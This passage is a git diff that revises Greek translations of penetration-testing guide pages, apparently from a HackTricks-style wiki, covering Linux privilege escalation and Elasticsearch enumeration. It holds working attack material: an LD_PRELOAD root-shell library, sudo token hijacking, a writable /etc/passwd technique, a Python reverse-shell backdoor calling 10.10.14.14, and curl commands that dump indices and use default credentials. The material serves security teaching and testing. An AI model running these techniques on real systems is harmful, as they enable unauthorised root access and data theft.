**env_keep+=LD_PRELOAD**. Αυτή η ρύθμιση επιτρέπει στη μεταβλητή περιβάλλοντος **LD_PRELOAD** να παραμένει και να αναγνωρίζεται ακόμη και όταν οι εντολές εκτελούνται με `sudo`, ενδεχομένως οδηγώντας στην εκτέλεση αυθαίρετου κώδικα με ανυψωμένα προνόμια. +Η κλιμάκωση προνομίων μπορεί να συμβεί αν έχετε τη δυνατότητα να εκτελείτε εντολές με `sudo` και η έξοδος του `sudo -l` περιλαμβάνει τη δήλωση **env_keep+=LD_PRELOAD**. Αυτή η ρύθμιση επιτρέπει στη μεταβλητή περιβάλλοντος **LD_PRELOAD** να παραμείνει και να αναγνωρίζεται ακόμη και όταν οι εντολές εκτελούνται με `sudo`, ενδεχομένως οδηγώντας στην εκτέλεση αυθαίρετου κώδικα με ανυψωμένα προνόμια. ``` Defaults env_keep += LD_PRELOAD ``` @@ -804,7 +804,7 @@ setuid(0); system("/bin/bash"); } ``` -Στη συνέχεια **συγκεντρώστε το** χρησιμοποιώντας: +Τότε **συγκεντρώστε το** χρησιμοποιώντας: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles @@ -814,7 +814,7 @@ gcc -fPIC -shared -o pe.so pe.c -nostartfiles sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Μια παρόμοια εκμετάλλευση privesc μπορεί να καταχραστεί αν ο επιτιθέμενος ελέγχει τη μεταβλητή περιβάλλοντος **LD_LIBRARY_PATH** επειδή ελέγχει τη διαδρομή όπου θα αναζητηθούν οι βιβλιοθήκες. +> Μια παρόμοια εκμετάλλευση μπορεί να καταχραστεί αν ο επιτιθέμενος ελέγχει τη μεταβλητή περιβάλλοντος **LD_LIBRARY_PATH** επειδή ελέγχει τη διαδρομή όπου θα αναζητηθούν οι βιβλιοθήκες. ```c #include #include @@ -894,7 +894,7 @@ system("/bin/bash -p"); [**GTFOBins**](https://gtfobins.github.io) είναι μια επιμελημένη λίστα Unix binaries που μπορούν να εκμεταλλευτούν από έναν επιτιθέμενο για να παρακάμψουν τους τοπικούς περιορισμούς ασφαλείας. [**GTFOArgs**](https://gtfoargs.github.io/) είναι το ίδιο αλλά για περιπτώσεις όπου μπορείτε **μόνο να εισάγετε επιχειρήματα** σε μια εντολή. -Το έργο συλλέγει νόμιμες συναρτήσεις Unix binaries που μπορούν να καταχραστούν για να σπάσουν περιορισμένα κέλυφα, να κλιμακώσουν ή να διατηρήσουν ανυψωμένα προνόμια, να μεταφέρουν αρχεία, να δημιουργήσουν bind και reverse shells, και να διευκολύνουν άλλες εργασίες μετά την εκμετάλλευση. +Το έργο συλλέγει νόμιμες συναρτήσεις Unix binaries που μπορούν να καταχραστούν για να σπάσουν περιορισμένα shells, να κλιμακώσουν ή να διατηρήσουν ανυψωμένα προνόμια, να μεταφέρουν αρχεία, να δημιουργήσουν bind και reverse shells, και να διευκολύνουν άλλες εργασίες μετά την εκμετάλλευση. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -915,12 +915,12 @@ https://gtfoargs.github.io/ ### Επαναχρησιμοποίηση Σημείων Sudo -Σε περιπτώσεις όπου έχετε **πρόσβαση sudo** αλλά όχι τον κωδικό πρόσβασης, μπορείτε να κλιμακώσετε τα προνόμια σας **περιμένοντας την εκτέλεση μιας εντολής sudo και στη συνέχεια υφαρπάζοντας το διακριτικό συνεδρίας**. +Σε περιπτώσεις όπου έχετε **πρόσβαση sudo** αλλά όχι τον κωδικό πρόσβασης, μπορείτε να κλιμακώσετε τα προνόμια σας **περιμένοντας την εκτέλεση μιας εντολής sudo και στη συνέχεια υφαρπάζοντας το token συνεδρίας**. Απαιτήσεις για την κλιμάκωση προνομίων: -- Έχετε ήδη ένα κέλυφος ως χρήστης "_sampleuser_" -- "_sampleuser_" έχει **χρησιμοποιήσει `sudo`** για να εκτελέσει κάτι στα **τελευταία 15 λεπτά** (κατά προεπιλογή αυτή είναι η διάρκεια του διακριτικού sudo που μας επιτρέπει να χρησιμοποιούμε `sudo` χωρίς να εισάγουμε οποιονδήποτε κωδικό πρόσβασης) +- Έχετε ήδη ένα shell ως χρήστης "_sampleuser_" +- "_sampleuser_" έχει **χρησιμοποιήσει `sudo`** για να εκτελέσει κάτι στα **τελευταία 15 λεπτά** (κατά προεπιλογή αυτή είναι η διάρκεια του token sudo που μας επιτρέπει να χρησιμοποιούμε `sudo` χωρίς να εισάγουμε οποιονδήποτε κωδικό πρόσβασης) - `cat /proc/sys/kernel/yama/ptrace_scope` είναι 0 - `gdb` είναι προσβάσιμο (μπορείτε να το ανεβάσετε) @@ -928,7 +928,7 @@ https://gtfoargs.github.io/ Εάν πληρούνται όλες αυτές οι απαιτήσεις, **μπορείτε να κλιμακώσετε τα προνόμια χρησιμοποιώντας:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- Η **πρώτη εκμετάλλευση** (`exploit.sh`) θα δημιουργήσει το δυαδικό `activate_sudo_token` στο _/tmp_. Μπορείτε να το χρησιμοποιήσετε για να **ενεργοποιήσετε το διακριτικό sudo στη συνεδρία σας** (δεν θα αποκτήσετε αυτόματα ένα root shell, κάντε `sudo su`): +- Η **πρώτη εκμετάλλευση** (`exploit.sh`) θα δημιουργήσει το binary `activate_sudo_token` στο _/tmp_. Μπορείτε να το χρησιμοποιήσετε για να **ενεργοποιήσετε το sudo token στη συνεδρία σας** (δεν θα αποκτήσετε αυτόματα ένα root shell, κάντε `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token @@ -1058,11 +1058,11 @@ linux-capabilities.md ## Δικαιώματα καταλόγου Σε έναν κατάλογο, το **bit για "εκτέλεση"** υποδηλώνει ότι ο επηρεαζόμενος χρήστης μπορεί να "**cd**" στον φάκελο.\ -Το **bit "ανάγνωσης"** υποδηλώνει ότι ο χρήστης μπορεί να **καταγράψει** τα **αρχεία**, και το **bit "εγγραφής"** υποδηλώνει ότι ο χρήστης μπορεί να **διαγράψει** και να **δημιουργήσει** νέα **αρχεία**. +Το **"read"** bit υποδηλώνει ότι ο χρήστης μπορεί να **καταγράψει** τα **αρχεία**, και το **"write"** bit υποδηλώνει ότι ο χρήστης μπορεί να **διαγράψει** και **δημιουργήσει** νέα **αρχεία**. ## ACLs -Οι Λίστες Ελέγχου Πρόσβασης (ACLs) αντιπροσωπεύουν το δευτερεύον επίπεδο διακριτικών δικαιωμάτων, ικανές να **παρακάμψουν τα παραδοσιακά δικαιώματα ugo/rwx**. Αυτά τα δικαιώματα ενισχύουν τον έλεγχο της πρόσβασης σε αρχεία ή καταλόγους επιτρέποντας ή αρνούμενα δικαιώματα σε συγκεκριμένους χρήστες που δεν είναι οι ιδιοκτήτες ή μέλη της ομάδας. Αυτό το επίπεδο **λεπτομέρειας εξασφαλίζει πιο ακριβή διαχείριση πρόσβασης**. Περαιτέρω λεπτομέρειες μπορείτε να βρείτε [**εδώ**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Οι Λίστες Ελέγχου Πρόσβασης (ACLs) αντιπροσωπεύουν το δευτερεύον επίπεδο διακριτικών δικαιωμάτων, ικανές να **παρακάμψουν τα παραδοσιακά δικαιώματα ugo/rwx**. Αυτά τα δικαιώματα ενισχύουν τον έλεγχο της πρόσβασης σε αρχεία ή καταλόγους επιτρέποντας ή αρνούμενα δικαιώματα σε συγκεκριμένους χρήστες που δεν είναι οι ιδιοκτήτες ή μέλη της ομάδας. Αυτό το επίπεδο **λεπτομέρειας εξασφαλίζει πιο ακριβή διαχείριση πρόσβασης**. Περισσότερες λεπτομέρειες μπορείτε να βρείτε [**εδώ**](https://linuxconfig.org/how-to-manage-acls-on-linux). **Δώστε** στον χρήστη "kali" δικαιώματα ανάγνωσης και εγγραφής σε ένα αρχείο: ```bash @@ -1078,7 +1078,7 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ## Ανοιχτές συνεδρίες κελύφους Σε **παλιές εκδόσεις** μπορεί να **παρακάμψετε** κάποιες **συνεδρίες κελύφους** άλλου χρήστη (**root**).\ -Σε **νεότερες εκδόσεις** θα μπορείτε να **συνδεθείτε** μόνο σε συνεδρίες οθόνης του **δικού σας χρήστη**. Ωστόσο, θα μπορούσατε να βρείτε **ενδιαφέρουσες πληροφορίες μέσα στη συνεδρία**. +Σε **νεότερες εκδόσεις** θα μπορείτε να **συνδεθείτε** σε συνεδρίες οθόνης μόνο του **δικού σας χρήστη**. Ωστόσο, θα μπορούσατε να βρείτε **ενδιαφέρουσες πληροφορίες μέσα στη συνεδρία**. ### Παράκαμψη συνεδριών οθόνης @@ -1117,7 +1117,7 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Ελέγξτε το **Valentine box από το HTB** για ένα παράδειγμα. +Δείτε το **Valentine box από το HTB** για ένα παράδειγμα. ## SSH @@ -1143,7 +1143,7 @@ tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ### AuthorizedKeysFile -Καθορίζει αρχεία που περιέχουν τα δημόσια κλειδιά που μπορούν να χρησιμοποιηθούν για την αυθεντικοποίηση χρηστών. Μπορεί να περιέχει tokens όπως το `%h`, το οποίο θα αντικατασταθεί από τον κατάλογο του χρήστη. **Μπορείτε να υποδείξετε απόλυτους διαδρομούς** (ξεκινώντας από `/`) ή **σχετικούς διαδρομούς από το σπίτι του χρήστη**. Για παράδειγμα: +Καθορίζει αρχεία που περιέχουν τα δημόσια κλειδιά που μπορούν να χρησιμοποιηθούν για την αυθεντικοποίηση χρηστών. Μπορεί να περιέχει tokens όπως το `%h`, το οποίο θα αντικατασταθεί από τον κατάλογο του χρήστη. **Μπορείτε να υποδείξετε απόλυτους διαδρομές** (ξεκινώντας από `/`) ή **σχετικές διαδρομές από το σπίτι του χρήστη**. Για παράδειγμα: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` @@ -1151,7 +1151,7 @@ AuthorizedKeysFile .ssh/authorized_keys access ### ForwardAgent/AllowAgentForwarding -Η προώθηση του SSH agent σας επιτρέπει να **χρησιμοποιείτε τα τοπικά σας SSH κλειδιά αντί να αφήνετε κλειδιά** (χωρίς κωδικούς πρόσβασης!) να βρίσκονται στον διακομιστή σας. Έτσι, θα μπορείτε να **πηδήξετε** μέσω ssh **σε έναν υπολογιστή** και από εκεί **να πηδήξετε σε έναν άλλο** υπολογιστή **χρησιμοποιώντας** το **κλειδί** που βρίσκεται στον **αρχικό υπολογιστή** σας. +Η προώθηση του SSH agent σας επιτρέπει να **χρησιμοποιείτε τα τοπικά σας SSH κλειδιά αντί να αφήνετε κλειδιά** (χωρίς κωδικούς πρόσβασης!) να βρίσκονται στον διακομιστή σας. Έτσι, θα μπορείτε να **πηδήξετε** μέσω ssh **σε έναν υπολογιστή** και από εκεί **να πηδήξετε σε έναν άλλο** υπολογιστή **χρησιμοποιώντας** το **κλειδί** που βρίσκεται στον **αρχικό σας υπολογιστή**. Πρέπει να ρυθμίσετε αυτή την επιλογή στο `$HOME/.ssh.config` όπως αυτό: ``` @@ -1194,7 +1194,7 @@ grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/ ``` ### Writable /etc/passwd -Πρώτον, δημιουργήστε έναν κωδικό πρόσβασης με μία από τις παρακάτω εντολές. +Πρώτα, δημιουργήστε έναν κωδικό πρόσβασης με μία από τις παρακάτω εντολές. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker @@ -1286,7 +1286,7 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### Γνωστά αρχεία που περιέχουν κωδικούς πρόσβασης -Διαβάστε τον κώδικα του [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), αναζητά **διάφορα πιθανά αρχεία που θα μπορούσαν να περιέχουν κωδικούς πρόσβασης**.\ +Διαβάστε τον κώδικα του [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), αναζητά **πολλά πιθανά αρχεία που θα μπορούσαν να περιέχουν κωδικούς πρόσβασης**.\ **Ένα άλλο ενδιαφέρον εργαλείο** που μπορείτε να χρησιμοποιήσετε γι' αυτό είναι: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) το οποίο είναι μια ανοιχτού κώδικα εφαρμογή που χρησιμοποιείται για την ανάκτηση πολλών κωδικών πρόσβασης που είναι αποθηκευμένοι σε τοπικό υπολογιστή για Windows, Linux & Mac. ### Καταγραφές @@ -1319,9 +1319,9 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ### Python library hijacking -Αν γνωρίζετε από **πού** θα εκτελεστεί ένα python script και μπορείτε να **γράψετε μέσα** σε αυτόν τον φάκελο ή μπορείτε να **τροποποιήσετε τις βιβλιοθήκες python**, μπορείτε να τροποποιήσετε τη βιβλιοθήκη OS και να την backdoor (αν μπορείτε να γράψετε εκεί όπου θα εκτελεστεί το python script, αντιγράψτε και επικολλήστε τη βιβλιοθήκη os.py). +Αν γνωρίζετε από **πού** θα εκτελεστεί ένα python script και μπορείτε να **γράψετε μέσα** σε αυτόν τον φάκελο ή μπορείτε να **τροποποιήσετε τις βιβλιοθήκες python**, μπορείτε να τροποποιήσετε τη βιβλιοθήκη OS και να την backdoor (αν μπορείτε να γράψετε εκεί όπου θα εκτελείται το python script, αντιγράψτε και επικολλήστε τη βιβλιοθήκη os.py). -Για να **backdoor τη βιβλιοθήκη** απλώς προσθέστε στο τέλος της βιβλιοθήκης os.py την παρακάτω γραμμή (αλλάξτε IP και PORT): +Για να **backdoor τη βιβλιοθήκη**, απλώς προσθέστε στο τέλος της βιβλιοθήκης os.py την παρακάτω γραμμή (αλλάξτε IP και PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` @@ -1330,7 +1330,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s Μια ευπάθεια στο `logrotate` επιτρέπει σε χρήστες με **δικαιώματα εγγραφής** σε ένα αρχείο καταγραφής ή στους γονικούς του φακέλους να αποκτήσουν πιθανώς ανυψωμένα δικαιώματα. Αυτό συμβαίνει επειδή το `logrotate`, που συχνά εκτελείται ως **root**, μπορεί να χειραγωγηθεί για να εκτελέσει αυθαίρετα αρχεία, ειδικά σε φακέλους όπως το _**/etc/bash_completion.d/**_. Είναι σημαντικό να ελέγχετε τα δικαιώματα όχι μόνο στο _/var/log_ αλλά και σε οποιονδήποτε φάκελο όπου εφαρμόζεται η περιστροφή καταγραφών. > [!NOTE] -> Αυτή η ευπάθεια επηρεάζει την έκδοση `3.18.0` του `logrotate` και παλαιότερες +> Αυτή η ευπάθεια επηρεάζει την έκδοση `logrotate` `3.18.0` και παλαιότερες Περισσότερες λεπτομέρειες σχετικά με την ευπάθεια μπορείτε να βρείτε σε αυτή τη σελίδα: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). @@ -1346,7 +1346,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s Τα σενάρια δικτύου, όπως το _ifcg-eth0_, χρησιμοποιούνται για συνδέσεις δικτύου. Φαίνονται ακριβώς όπως τα αρχεία .INI. Ωστόσο, είναι \~sourced\~ στο Linux από τον Network Manager (dispatcher.d). -Στην περίπτωσή μου, το `NAME=` που αποδίδεται σε αυτά τα σενάρια δικτύου δεν διαχειρίζεται σωστά. Αν έχετε **λευκό/κενό διάστημα στο όνομα, το σύστημα προσπαθεί να εκτελέσει το μέρος μετά το λευκό/κενό διάστημα**. Αυτό σημαίνει ότι **όλα μετά τον πρώτο κενό χώρο εκτελούνται ως root**. +Στην περίπτωσή μου, το `NAME=` που αποδίδεται σε αυτά τα σενάρια δικτύου δεν διαχειρίζεται σωστά. Αν έχετε **λευκό/κενό διάστημα στο όνομα, το σύστημα προσπαθεί να εκτελέσει το μέρος μετά το λευκό/κενό διάστημα**. Αυτό σημαίνει ότι **όλα μετά το πρώτο κενό διάστημα εκτελούνται ως root**. Για παράδειγμα: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1408,14 +1408,14 @@ cisco-vmanage.md ## Αναφορές -- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\\ -- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\\ -- [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744)\\ -- [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html)\\ -- [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827)\\ -- [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf)\\ -- [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation)\\ -- [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)\\ +- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) +- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) +- [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744) +- [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html) +- [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827) +- [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf) +- [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation) +- [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) - [https://github.com/rtcrowley/linux-private-i](https://github.com/rtcrowley/linux-private-i) - [https://www.linux.com/news/what-socket/](https://www.linux.com/news/what-socket/) - [https://muzec0318.github.io/posts/PG/peppo.html](https://muzec0318.github.io/posts/PG/peppo.html) diff --git a/src/network-services-pentesting/9200-pentesting-elasticsearch.md b/src/network-services-pentesting/9200-pentesting-elasticsearch.md index e5a5625a1..1c65a765d 100644 --- a/src/network-services-pentesting/9200-pentesting-elasticsearch.md +++ b/src/network-services-pentesting/9200-pentesting-elasticsearch.md @@ -4,17 +4,17 @@ ## Basic information -Το Elasticsearch είναι μια **κατανεμημένη**, **ανοιχτού κώδικα** μηχανή αναζήτησης και ανάλυσης για **όλους τους τύπους δεδομένων**. Είναι γνωστό για την **ταχύτητά** του, την **κλιμάκωσή** του και τις **απλές REST APIs**. Χτισμένο πάνω στον Apache Lucene, κυκλοφόρησε για πρώτη φορά το 2010 από την Elasticsearch N.V. (τώρα γνωστή ως Elastic). Το Elasticsearch είναι το βασικό συστατικό του Elastic Stack, μιας συλλογής εργαλείων ανοιχτού κώδικα για την εισαγωγή, εμπλουτισμό, αποθήκευση, ανάλυση και οπτικοποίηση δεδομένων. Αυτή η στοίβα, που αναφέρεται συνήθως ως ELK Stack, περιλαμβάνει επίσης το Logstash και το Kibana, και τώρα έχει ελαφριούς πράκτορες αποστολής δεδομένων που ονομάζονται Beats. +Elasticsearch είναι μια **κατανεμημένη**, **ανοιχτού κώδικα** μηχανή αναζήτησης και ανάλυσης για **όλους τους τύπους δεδομένων**. Είναι γνωστή για την **ταχύτητά** της, **κλιμακωσιμότητα** και **απλές REST APIs**. Χτισμένη πάνω στον Apache Lucene, κυκλοφόρησε για πρώτη φορά το 2010 από την Elasticsearch N.V. (τώρα γνωστή ως Elastic). Το Elasticsearch είναι το βασικό συστατικό του Elastic Stack, μιας συλλογής εργαλείων ανοιχτού κώδικα για την εισαγωγή, εμπλουτισμό, αποθήκευση, ανάλυση και οπτικοποίηση δεδομένων. Αυτή η στοίβα, που αναφέρεται συνήθως ως ELK Stack, περιλαμβάνει επίσης το Logstash και το Kibana, και τώρα έχει ελαφριούς πράκτορες αποστολής δεδομένων που ονομάζονται Beats. ### What is an Elasticsearch index? -Ένας **δείκτης** Elasticsearch είναι μια συλλογή **σχετικών εγγράφων** που αποθηκεύονται ως **JSON**. Κάθε έγγραφο αποτελείται από **κλειδιά** και τις αντίστοιχες **τιμές** τους (αλφαριθμητικά, αριθμούς, boolean, ημερομηνίες, πίνακες, γεωγραφικές τοποθεσίες, κ.λπ.). +Ένας **δείκτης** Elasticsearch είναι μια συλλογή **σχετικών εγγράφων** που αποθηκεύονται ως **JSON**. Κάθε έγγραφο αποτελείται από **κλειδιά** και τις αντίστοιχες **τιμές** τους (αλφαριθμητικά, αριθμούς, booleans, ημερομηνίες, πίνακες, γεωτοποθεσίες κ.λπ.). Το Elasticsearch χρησιμοποιεί μια αποδοτική δομή δεδομένων που ονομάζεται **αντεστραμμένος δείκτης** για να διευκολύνει τις γρήγορες αναζητήσεις πλήρους κειμένου. Αυτός ο δείκτης καταγράφει κάθε μοναδική λέξη στα έγγραφα και προσδιορίζει τα έγγραφα στα οποία εμφανίζεται κάθε λέξη. -Κατά τη διαδικασία ευρετηρίασης, το Elasticsearch αποθηκεύει τα έγγραφα και κατασκευάζει τον αντεστραμμένο δείκτη, επιτρέποντας σχεδόν αναζητήσεις σε πραγματικό χρόνο. Η **index API** χρησιμοποιείται για την προσθήκη ή την ενημέρωση εγγράφων JSON μέσα σε έναν συγκεκριμένο δείκτη. +Κατά τη διαδικασία ευρετηρίασης, το Elasticsearch αποθηκεύει τα έγγραφα και κατασκευάζει τον αντεστραμμένο δείκτη, επιτρέποντας σχεδόν αναζητήσεις σε πραγματικό χρόνο. Η **index API** χρησιμοποιείται για την προσθήκη ή την ενημέρωση εγγράφων JSON εντός ενός συγκεκριμένου δείκτη. -**Default port**: 9200/tcp +**Προεπιλεγμένη θύρα**: 9200/tcp ## Manual Enumeration @@ -39,12 +39,12 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user" ```bash {"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401} ``` -Αυτό σημαίνει ότι η αυθεντικοποίηση είναι ρυθμισμένη και **χρειάζεστε έγκυρα διαπιστευτήρια** για να αποκτήσετε οποιαδήποτε πληροφορία από το elasticsearch. Στη συνέχεια, μπορείτε να [**δοκιμάσετε να το σπάσετε**](../generic-hacking/brute-force.md#elasticsearch) (χρησιμοποιεί HTTP basic auth, οπότε οτιδήποτε μπορεί να σπάσει το HTTP basic auth μπορεί να χρησιμοποιηθεί).\ +Αυτό σημαίνει ότι η αυθεντικοποίηση είναι ρυθμισμένη και **χρειάζεστε έγκυρα διαπιστευτήρια** για να αποκτήσετε οποιαδήποτε πληροφορία από το elasticsearch. Στη συνέχεια, μπορείτε να [**δοκιμάσετε να το σπάσετε**](../generic-hacking/brute-force.md#elasticsearch) (χρησιμοποιεί HTTP basic auth, οπότε οτιδήποτε μπορεί να σπάσει το BF HTTP basic auth μπορεί να χρησιμοποιηθεί).\ Εδώ έχετε μια **λίστα με προεπιλεγμένα ονόματα χρήστη**: _**elastic** (superuser), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Οι παλαιότερες εκδόσεις του Elasticsearch έχουν τον προεπιλεγμένο κωδικό πρόσβασης **changeme** για αυτόν τον χρήστη. ``` curl -X GET http://user:password@IP:9200/ ``` -### Βασική Καταμέτρηση Χρηστών +### Βασική Αριθμητική Χρηστών ```bash #List all roles on the system: curl -X GET "ELASTICSEARCH-SERVER:9200/_security/role" @@ -86,7 +86,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/" | /\_cat/nodeattrs | | | | /\_cat/nodes | | | -Αυτά τα endpoints [**λήφθηκαν από την τεκμηρίωση**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) όπου μπορείτε να **βρείτε περισσότερα**.\ +Αυτά τα endpoints ήταν [**παρμένα από την τεκμηρίωση**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) όπου μπορείτε να **βρείτε περισσότερα**.\ Επίσης, αν αποκτήσετε πρόσβαση στο `/_cat`, η απάντηση θα περιέχει τα `/_cat/*` endpoints που υποστηρίζονται από την εγκατάσταση. Στο `/_security/user` (αν είναι ενεργοποιημένη η αυθεντικοποίηση) μπορείτε να δείτε ποιος χρήστης έχει ρόλο `superuser`. @@ -100,7 +100,7 @@ green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0 yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb ``` -Για να αποκτήσετε **πληροφορίες σχετικά με το ποιο είδος δεδομένων αποθηκεύεται μέσα σε έναν δείκτη** μπορείτε να αποκτήσετε πρόσβαση: `http://host:9200/` από το παράδειγμα σε αυτή την περίπτωση `http://10.10.10.115:9200/bank` +Για να αποκτήσετε **πληροφορίες σχετικά με το ποιο είδος δεδομένων αποθηκεύεται μέσα σε έναν δείκτη** μπορείτε να αποκτήσετε πρόσβαση: `http://host:9200/` από το παράδειγμα, σε αυτή την περίπτωση `http://10.10.10.115:9200/bank` ![](<../images/image (342).png>) @@ -114,7 +114,7 @@ _Πάρτε μια στιγμή για να συγκρίνετε τα περιε Έτσι, σε αυτό το σημείο μπορεί να παρατηρήσετε ότι **υπάρχει ένα πεδίο που ονομάζεται "total" μέσα σε "hits"** που υποδεικνύει ότι **βρέθηκαν 1000 έγγραφα** μέσα σε αυτόν τον δείκτη αλλά μόνο 10 ανακτήθηκαν. Αυτό συμβαίνει επειδή **κατά προεπιλογή υπάρχει όριο 10 εγγράφων**.\ Αλλά, τώρα που ξέρετε ότι **αυτός ο δείκτης περιέχει 1000 έγγραφα**, μπορείτε να **εξάγετε όλα αυτά** υποδεικνύοντας τον αριθμό των καταχωρίσεων που θέλετε να εξάγετε στην παράμετρο **`size`**: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\ -\&#xNAN;_Σημείωση: Αν υποδείξετε μεγαλύτερο αριθμό, όλες οι καταχωρίσεις θα εξαχθούν ούτως ή άλλως, για παράδειγμα θα μπορούσατε να υποδείξετε `size=9999` και θα ήταν περίεργο αν υπήρχαν περισσότερες καταχωρίσεις (αλλά θα πρέπει να ελέγξετε)._ +\_Σημείωση: Αν υποδείξετε μεγαλύτερο αριθμό, όλες οι καταχωρίσεις θα εξαχθούν ούτως ή άλλως, για παράδειγμα, θα μπορούσατε να υποδείξετε `size=9999` και θα ήταν περίεργο αν υπήρχαν περισσότερες καταχωρίσεις (αλλά θα πρέπει να ελέγξετε)._ ### Dump all @@ -123,7 +123,7 @@ _Πάρτε μια στιγμή για να συγκρίνετε τα περιε ### Search -Αν ψάχνετε για κάποιες πληροφορίες μπορείτε να κάνετε μια **ακατέργαστη αναζήτηση σε όλους τους δείκτες** πηγαίνοντας στο `http://host:9200/_search?pretty=true&q=` όπως στο `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell` +Αν ψάχνετε για κάποιες πληροφορίες μπορείτε να κάνετε μια **ωμή αναζήτηση σε όλους τους δείκτες** πηγαίνοντας στο `http://host:9200/_search?pretty=true&q=` όπως στο `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell` ![](<../images/image (335).png>) @@ -131,7 +131,7 @@ _Πάρτε μια στιγμή για να συγκρίνετε τα περιε _Σημειώστε ότι η παράμετρος q που χρησιμοποιείται για την αναζήτηση περιεχομένου **υποστηρίζει κανονικές εκφράσεις**_ -Μπορείτε επίσης να χρησιμοποιήσετε κάτι όπως [https://github.com/misalabs/horuz](https://github.com/misalabs/horuz) για να fuzz μια υπηρεσία elasticsearch. +Μπορείτε επίσης να χρησιμοποιήσετε κάτι όπως [https://github.com/misalabs/horuz](https://github.com/misalabs/horuz) για να κάνετε fuzz σε μια υπηρεσία elasticsearch. ### Write permissions @@ -145,9 +145,9 @@ curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/j "name" : "how to get a job" }' ``` -Αυτή η εντολή θα δημιουργήσει ένα **νέο ευρετήριο** που ονομάζεται `bookindex` με ένα έγγραφο τύπου `books` που έχει τα χαρακτηριστικά "_bookId_", "_author_", "_publisher_" και "_name_" +Αυτή η εντολή θα δημιουργήσει έναν **νέο δείκτη** με το όνομα `bookindex` με ένα έγγραφο τύπου `books` που έχει τα χαρακτηριστικά "_bookId_", 